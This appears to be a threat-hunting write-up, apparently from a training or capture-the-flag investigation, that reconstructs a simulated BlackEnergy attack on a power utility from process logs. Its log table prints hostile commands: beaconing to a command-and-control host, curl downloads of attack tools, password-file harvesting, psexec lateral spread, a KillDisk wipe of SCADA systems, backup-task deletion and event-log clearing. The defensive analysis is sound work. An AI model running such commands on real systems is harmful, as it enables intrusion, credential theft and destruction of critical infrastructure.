This table has been redacted; it only shows the most relevant findings, rather than the entire output of the KQL query above.
timestamp parent_process_name parent_process_hash process_commandline process_name process_hash hostname username
2024-08-29 08:28:44.0000 Explorer.exe 1f7092652db29849bd34d477d9e78c8c093235aaea02e2e7498f516159d010ed Explorer.exe "C:\Users\jisaetang\Downloads\Urgent_Cyber_Threat_Alert.zip" Explorer.exe cc1a126e49b5df316a82acc9a8075e9d46126a5af1745856eeb19f4d37e5adae BDC0-DESKTOP jisaetang
2024-08-29 08:28:45.0000 Explorer.exe 3eb1923ca66cb1120b777787181b90b2ea839120ea5474d66b9f60d74002da54 C:\ProgramDataBlackEnergy.exe BlackEnergy.exe 1624b5f54a285c08cacc24ddb7256ea082802f7934ccc142556c88800fb701ee BDC0-DESKTOP jisaetang
2024-08-29 08:49:45.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f BlackEnergy.exe --beacon-interval 10 --c2 chicagogridupdates.com --scan 192.168.1.0/24 cmd.exe 94886fa6ac36170d2648c6f86a6386625a61998706dae22569a34f770f087bde BDC0-DESKTOP jisaetang
2024-08-29 09:09:49.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f tasklist /svc cmd.exe f7350e5dfbe47157f24620a2291ab1c58aeb28d7d3ad090eeadf15a6d58c6bba BDC0-DESKTOP jisaetang
2024-08-29 10:08:49.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f systeminfo cmd.exe 3126a042d8c823281061cb26690264dc2924674ce01282044533bf1196ac56b3 BDC0-DESKTOP jisaetang
2024-08-29 10:16:28.0000 Explorer.exe ed486cfac9aa7ff67b70511465e3787c27f9b9f20489da4281c00971d3ac2b92 Explorer.exe "C:\Users\jisaetang\Downloads\Grid_Security_Update.zip" Explorer.exe efaa4093c2b3d48bc6b05a2266063eac8f302c8f4d019c3d9030397de3ac9ba3 BDC0-DESKTOP jisaetang
2024-08-29 10:16:29.0000 Explorer.exe 1dde3d7372c1746d177e3dbd87dcd572fbc19ba618d29ba4352e2df8fa3f7a82 C:\ProgramDataBlackEnergy.exe BlackEnergy.exe 209c373fa7b5bce7ac12542f7838ee1a27bc721e5560736671deb45911aab130 BDC0-DESKTOP jisaetang
2024-08-29 10:17:29.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f BlackEnergy.exe --beacon-interval 10 --c2 chicagogridupdates.com --scan 192.168.1.0/24 cmd.exe 09f401305faa04d1b9e3f66400741858e9ecde3e509ccf41df91f60ff20e5a9d BDC0-DESKTOP jisaetang
2024-08-29 10:44:49.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net user cmd.exe b8bfba65325a0b5418bdd788c07f2377fce5939b7b707be301a74cf3963561c4 BDC0-DESKTOP jisaetang
2024-08-29 11:02:49.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f nltest /dclist:chicagogrid.local cmd.exe 1ac90380ff886ae5b23e2e51a9aba02f673f5458f4b45d47fc7105a6532936dc BDC0-DESKTOP jisaetang
2024-08-29 11:41:49.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f wmic product get name,version cmd.exe 74b4ccee0c456cfbf37afe5af45ab4ce7d58a974dd60b3a63572ae01aae6c4a8 BDC0-DESKTOP jisaetang
2024-08-30 02:08:36.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f wmic service list brief cmd.exe 2d8ee532ae246c1d4793cf8d78f803a6cd1dfb4aa5ae4c72874814f4a09b94f7 BDC0-DESKTOP jisaetang
2024-09-08 10:12:24.0000 blackenergy.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f curl -o C:\ProgramData\ICSScanner.exe http://chicagogridupdates.com/ICSScanner.exe cmd.exe bbc985b4342c141e8111945ec1e79edbec2dc3f8bd9471601d7314b350b8a19a BDC0-DESKTOP jisaetang
2024-09-09 11:17:44.0000 blackenergy.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f C:\ProgramData\ICSScanner.exe --scan --network 192.168.0.0/16 --type SCADA --output C:\ProgramData\SCADA_IPs.txt cmd.exe 462a705acf1baad147fe968adcb43d7b55ed40d7f7f5ac98c170d2bb517ee77b BDC0-DESKTOP jisaetang
2024-09-10 02:18:57.0000 blackenergy.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f dir /s /b C:\*password*.txt > C:\ProgramData\Password_Files.txt cmd.exe fe1c829b6270b386ac49a55de407d147ea49ec17dc83b173d93c5feddcdd633d BDC0-DESKTOP jisaetang
2024-09-10 02:53:57.0000 blackenergy.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f for /F 'tokens=1,2 delims=:' %i in (C:\ProgramData\Password_Files.txt) do findstr /I /M /C:"password" %i >> C:\ProgramData\Extracted_Password.txt cmd.exe 77c83e68bee106401956a46b268e9b84d4b875b2def5454a6e7d0f6b2b256f78 BDC0-DESKTOP jisaetang
2024-09-10 03:43:57.0000 blackenergy.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f curl -o C:\ProgramData\SCADA_Malicious_Commands.txt http://chicagogridupdates.com/SCADA_Malicious_Commands.txt cmd.exe ab08a7e519afdd3ed06d07f355b1c913bf79d2fc6538a108ccacf6db2b7d9eff BDC0-DESKTOP jisaetang
2024-09-10 04:01:57.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f for /F 'tokens=1' %i in (C:\\ProgramData\\SCADA_IPs.txt) do ( set /p password=<C:\\ProgramData\\Extracted_Password.txt psexec.exe \\%i -u administrator -p %password% cmd /c "copy C:\\malware\\BlackEnergy.exe \\%i\\SCADA\\BlackEnergy.exe") cmd.exe d21027cfcbd6aad25f8c547149d9a9a8471405d5e5c93d576b0dfd81114d36f3 BDC0-DESKTOP jisaetang
2024-09-10 04:08:57.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f for /F 'tokens=1' %i in (C:\\ProgramData\\SCADA_IPs.txt) do ( set /p password=<C:\\ProgramData\\Extracted_Password.txt psexec.exe \\%i -u administrator -p %password% cmd /c "\\%i\\SCADA\\BlackEnergy.exe && \\%i\\ProgramData\\SCADA_Malicious_Commands.txt") cmd.exe 4ab11d499060aa39d7d5e21fad3f072b3781ca13d3fff400c797a09dc00ff889 BDC0-DESKTOP jisaetang
2024-09-10 04:41:57.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f for /F 'tokens=1' %i in (C:\\ProgramData\\SCADA_IPs.txt) do ( set /p password=<C:\\ProgramData\\Extracted_Password.txt psexec.exe \\%i -u administrator -p %password% cmd /c "\\%i\\SCADA\\KillDisk.exe --all --wipe") cmd.exe 80271c9ee2c2c346780b79fafe36ae1067cd360381130a950cc36ff37f22dd7e BDC0-DESKTOP jisaetang
2024-09-10 05:00:57.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f schtasks /delete /tn 'BackupTask' /f cmd.exe b81dd8ce410d7b13dcae8b0229a7164373fb8b699ba802161d957377cce41b47 BDC0-DESKTOP jisaetang
2024-09-10 05:25:57.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f wevtutil cl Application cmd.exe d1b08ecbcfae64e682745b2b87f7909cc99b865098c52fe1dc619af923236ec3 BDC0-DESKTOP jisaetang
2024-09-10 05:32:57.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f wevtutil cl System cmd.exe bf9521b7610e06b72b38ea9421c4668a86f2df4f18339ca3a0d504ab1fd1a3b4 BDC0-DESKTOP jisaetang
2024-09-10 05:41:57.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f wevtutil cl Security cmd.exe 081110ba8cbd91f3f165159adbe762cb7828ce5aa6d256bef82cff3a2a4ab8c7 BDC0-DESKTOP jisaetang

Besides the things I already reported previously (see [2]), there are a few previously-unseen commands.

  • nltest /dclist: [It can be used to] [g]et a list of domain controllers [...] /dclist:[ <DomainName>] [l]ists all domain controllers in the domain. [Microsoft Learn]
  • wevtutil cl: "Enables you to retrieve information about event logs and publishers. You can also use this command to install and uninstall event manifests, to run queries, and to export, archive, and clear logs." The cl (clear log) option is quite self-explainatory; the threat actor deleted system, application and security logs. [Microsoft Learn]
  • schtasks /delete /tn 'BackupTask' /f: schtasks is used to manage scheduled tasks on a system, being able to add, remove and change them. The /delete switch deletes the task specified with /tn (task name), and /f (force) executes the command without any warning prompts. [Microsoft Learn (schtasks)] [Microsoft Learn (schtasks delete)]

There don't seem to be any other activity from the threat actor after the last command executed on SCADA Operator Jibby Saetang's device.

Doing a brief check against the SecurityAlerts table shows that none of the emails or files were reported or automatically flagged as suspicious, with the exception of user dasiegel (IT Administrator David Siegel) reporting an email with the subject line [EXTERNAL] Critical: Severe Security Breach Detected - Immediate Action Required as suspicious on 2024-09-04 at 10:39:46 in the morning. He was also among the few that weren't compromised by the false login page.

The threat actors exploited growing concerns about vulnerabilities in critical infrastructure to gain a foothold and do devastating damage; after they successfully compromised the accounts of two of Jibby's trusted colleagues, they sent him urgent emails about cyberattacks and vulnerabilities with a malicious zip file; when opened, it extracted and executed the blackenergy.exe malware, which ensured a persistent connection to its C2 server, downloaded other tools to gather information and spread itself throughout the network, and finally wiped the SCADA systems; the threat actors then disabled the power plant's backup scheduled task and cleared the logs in an attempt to mask their actions.